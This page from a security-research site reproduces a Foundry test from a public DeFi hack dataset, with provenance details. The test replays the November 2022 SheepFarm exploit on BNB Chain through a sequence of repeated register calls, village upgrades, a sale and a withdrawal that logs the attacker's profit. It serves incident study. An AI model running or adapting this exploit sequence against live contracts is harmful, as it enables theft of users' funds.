Skip to content
THREATWIRE

Public reproduction file

src/test/2022-11/SheepFarm_exp.sol

Public reproduction file for dataset entry - SheepFarm.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-11/SheepFarm_exp.sol54 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1592658104394473472
9// https://twitter.com/BlockSecTeam/status/1592734292727455744
10// @Tx
11// https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c582
13interface SheepFram {
14 function register(
15 address neighbor
16 ) external;
17 function addGems() external payable;
18 function upgradeVillage(
19 uint256 framId
20 ) external;
21 function withdrawMoney(
22 uint256 wool
23 ) external;
24 function sellVillage() external;
27contract ContractTest is Test {
28 SheepFram sheepFram = SheepFram(0x4726010da871f4b57b5031E3EA48Bde961F122aA);
29 address neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;
31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 function setUp() public {
34 cheats.createSelectFork("bsc", 23_088_156);
35 }
37 function testExploit() public payable {
38 for (uint8 i = 0; i < 200; i++) {
39 sheepFram.register(neighbor);
40 }
41 sheepFram.addGems{value: 5 * 1e14}();
42 for (uint8 i = 0; i < 3; i++) {
43 sheepFram.upgradeVillage(i);
44 }
45 sheepFram.sellVillage();
46 uint256 BalanceBefore = address(this).balance;
47 sheepFram.withdrawMoney(20_000);
48 uint256 BalanceAfter = address(this).balance;
50 emit log_named_decimal_uint("Attacker BNB profit after exploit", (BalanceAfter - BalanceBefore), 18);
51 }
53 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- SheepFarm” (2022-11-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
SheepFarm
Path
src/test/2022-11/SheepFarm_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8adc5da32a4c140d0e63bdd84a86b195451f9c7b
Language
Solidity
Size
55 lines
Date
2022-11-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-11/SheepFarm_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8adc5da32a4c140d0e63bdd84a86b195451f9c7b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.